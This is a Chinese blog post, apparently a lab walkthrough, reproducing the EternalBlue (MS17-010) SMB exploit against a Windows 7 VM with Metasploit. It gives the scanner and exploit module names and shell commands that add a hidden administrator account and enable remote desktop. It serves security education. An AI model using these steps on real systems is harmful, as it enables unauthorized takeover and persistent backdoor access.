永恒之蓝(ms17-010)复现

文章详细介绍了永恒之蓝漏洞如何利用WindowsSMB协议,以及不法分子如何将其改造为勒索病毒。还涉及Metasploit渗透工具的各个模块在攻击中的作用,展示了如何复现漏洞并进行远程控制。
摘要由CSDN通过智能技术生成

永恒之蓝

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。

SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。 

原理

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

 永恒之蓝(ms17-010)漏洞是一种缓冲区溢出漏洞

缓冲区:
内存空间中用来存储程序运行时临时数据的一片大小有限并且连续的内存区域。根据程序中内存的分配方式和使用目的,缓冲区一般可分为栈和堆两种类型。
缓冲区溢出

 利用Metasploit(msf)渗透工具

Metasploit是一种渗透工具,在kali中是自带的,主要分为七个模块:

exploits(渗透攻击/漏洞利用模块), payloads(攻击载荷模块), auxiliary(辅助模块), nops(空指令模块),encoders(编译器模块),post(后渗透攻击模块), evasion(规避模块)

 各模块的作用

Payloads (载荷模块):这个模块提供了一系列的攻击载荷,可用于在攻击目标机器成功后执行恶意代码。其中一些载荷允许攻击者获得对操作系统的完全控制权。
Exploits (漏洞利用模块):这个模块包含了大量的漏洞利用,它们利用常见的操作系统漏洞,例如操作系统的缓冲区溢出漏洞、SQL注入漏洞等,并利用这些漏洞来实现针对目标机器攻击。
Auxiliary (辅助模块):这个模块包含了许多辅助工具,用于执行攻击相关的非攻击性任务,比如扫描网络、收集操作系统信息、绕过防御机制等。
Enc (编码器模块):这个模块包含了一些编码/加密工具,用于加密Metasploit的恶意代码,从而绕过某些防御机制,例如杀毒软件的检测。
Nops (空指令模块):这个模块含有空指令的代码,它们可以用于在攻击载荷中添加无操作的代码,以帮助攻击者在攻击时防止因为代码长度不是4的倍数而被截断。
Post (后渗透模块):这个块提供了一些有关渗透后行动的工具,它允许攻击者在成功入侵目标计算机后进行大规模的系统和应用程序扫描、查找敏感数据、执行进一步的攻击等操作。
Shellcodes (Shellcode模块):这个模块包含各种使用进程内存空间完成某些操作的Shellcode,如打开一个bind全一的口监听、执行一个程序等。这个模块的对象和开发shellcode工具类似。

永恒之蓝复现

前提:保证win7和kali能相互ping通,并且把win7的防火墙关闭,不然nmap扫描会失效

开始进行永恒之蓝的复现,用nmap工具扫描端口

进入msfconsole框架

扫描ms17-010漏洞

永恒之蓝利用的就是这个漏洞

search ms17-010

 利用辅助模块进行扫描,该模块不会直接在攻击机和靶机之间建立访问,只负责执行扫描,嗅探,指纹识别的相关功能,以辅助渗透测试。

use auxiliary/scanner/smb/smb_ms17_010

扫描之后查看需要配置的参数

设置攻击目标

 RHOSTS 参数是要探测主机的ip或ip范围,设置成win7的ip,执行

进行攻击

使用攻击模块,设置攻击载荷进行攻击,run

use exploit/windows/smb/ms17_010_eternalblue

出现win说明攻击成功了

查看主机系统信息和主机IP

屏幕截屏,并且进入shell控制台

远程桌面控制(在shell控制台中)

添加用户名,密码,并且添加到管理员中获得更大的权限

net uesr hack 123/add //添加用户和密码
net localgroup administrators hack /add//添加管理员
net user //查看用户
net localgroup administrators //查看管理员

查看本地用户和管理员

运用getuid开启远程桌面(退出shell控制台)

 rdesktop命令连接

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值